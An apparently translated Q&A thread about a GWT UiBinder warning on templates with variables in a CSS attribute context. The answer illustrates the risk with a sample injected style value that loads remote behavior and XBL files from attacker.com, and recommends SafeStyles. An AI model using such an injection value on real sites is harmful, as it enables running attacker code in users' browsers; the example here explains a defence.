GWT"CSS属性上下文中带变量的模板"警告不好?

Hav*_*ess 5 css gwt uibinder

我使用混淆的风格,例如.

    <ui:style>
        .explanation {
            text-align: center;
        }
    </ui:style>
...
    <g:HTMLPanel>
        <div class="{style.explanation}">
...
Run Code Online (Sandbox Code Playgroud)

这是不好的做法吗?

当我查看HTML时看起来没问题,或者我误解了警告..

我在GWT的开发模式中收到以下警告:

Template with variable in CSS attribute context: 
The template code generator cannot guarantee HTML-safety of the template
 -- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
Run Code Online (Sandbox Code Playgroud)

Tho*_*yer 10

class不是"CSS属性上下文",只是style(和<style>); 所以我怀疑这个警告来自你展示的代码(这正是事情的用法,所以根本不是一个糟糕的做法).

当你有这样的事情时会出现警告style='width: {foo}; height: {bar}',因为没有保证(在编译时)foobar不包含类似的内容100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl).在这种情况下,您应该使用style='{myStyle}'where myStyle的实例SafeStyles.